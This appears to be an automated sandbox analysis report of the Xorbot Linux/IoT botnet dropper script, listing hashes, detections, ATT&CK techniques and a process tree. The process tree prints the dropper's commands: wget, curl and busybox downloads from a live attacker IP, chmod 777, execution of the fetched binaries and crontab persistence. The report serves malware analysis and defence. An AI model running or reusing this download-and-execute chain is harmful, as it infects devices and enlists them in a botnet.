xorbot | 64e4641b6298c2c74c581b957519064d5b75e2c10413b00c9c80b51bf144d8ae

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
05/01/2025, 20:07

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General

Target

bins.sh
Size

10KB
MD5

6199f4dff7535b35fb225c6afd969645
SHA1

0246e2d10d111a8df6b975e232d31c9759916ba3
SHA256

64e4641b6298c2c74c581b957519064d5b75e2c10413b00c9c80b51bf144d8ae
SHA512

e029fc458ebd8eee60d9b7bec97e53d18e91d0b8ca7509429876ba54f2eacfeb125e65b42f2cec3c9b8f692ceba7b6545faaee16d4fbfc0f52d8fb95cdcaa807
SSDEEP

96:CzAcg+zLgQIaxtdyiCZVqMiit7Tcpt1bZptNbZh+/Acg+zLVaQIaxtYHGzyiCZV8:CzVyiCZVTncpt1bjthCByiCZV8

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1496	chmod
1482	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy	1483	puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
/tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP	1497	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP

Renames itself 1 IoCs

pid	Process
1498	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1ILBnj	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1555/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1576/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1544/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1568/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/35/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1522/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/452/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/910/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1011/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1116/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1523/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1548/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/338/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/410/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1517/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/7/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/411/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/15/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1301/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/665/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/955/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1066/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1531/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/30/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/34/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/481/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/592/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/982/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1520/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1533/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1566/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/18/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/155/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1585/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/172/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1543/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/85/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/163/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/11/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/153/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/697/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1232/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1324/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1516/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1546/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1573/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/246/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/532/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1537/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/449/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/501/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/944/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1089/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1148/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1150/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1154/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1515/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/115/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/486/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1578/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1552/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1108/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1233/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
File opened for reading	/proc/1534/cmdline	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP	curl
File opened for modification	/tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP	busybox
File opened for modification	/tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy	wget
File opened for modification	/tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy	curl
File opened for modification	/tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy	busybox
File opened for modification	/tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1465
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1466
- /usr/bin/wget
  wget http://66.63.187.225/bins/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  2⤵
  - Writes file to tmp directory
  PID:1467
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  2⤵
  - Writes file to tmp directory
  PID:1480
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  2⤵
  - Writes file to tmp directory
  PID:1481
- /bin/chmod
  chmod 777 puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  2⤵
  - File and Directory Permissions Modification
  PID:1482
- /tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  ./puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  2⤵
  - Executes dropped EXE
  PID:1483
- /bin/rm
  rm puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  2⤵
  PID:1485
- /usr/bin/wget
  wget http://66.63.187.225/bins/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  2⤵
  - Writes file to tmp directory
  PID:1486
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  2⤵
  - Writes file to tmp directory
  PID:1494
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  2⤵
  - Writes file to tmp directory
  PID:1495
- /bin/chmod
  chmod 777 lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  2⤵
  - File and Directory Permissions Modification
  PID:1496
- /tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  ./lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1497
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1499
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1500
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1501
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1502
- /bin/rm
  rm lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  2⤵
  PID:1504
- /usr/bin/wget
  wget http://66.63.187.225/bins/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
  2⤵
  PID:1507

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/var/spool/cron/crontabs/tmp.1ILBnj

Filesize
210B

MD5
7c76c387e12b54ef91e2353e684ac7fa

SHA1
72a51fa0447091c08d45ad307857af775aaa7ce3

SHA256
40706bc004ca9a74f2ddd611089313a895ca8a52f93235e8d43ae0c664afa1a1

SHA512
b20d11a7d95b62257ca5d3688b721c7cb90bcb88679021fa059f63c26f98af88490c01abe306e09753655d2c00577b929d3cd8c055a35ea09d34a22adfb7ce51

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads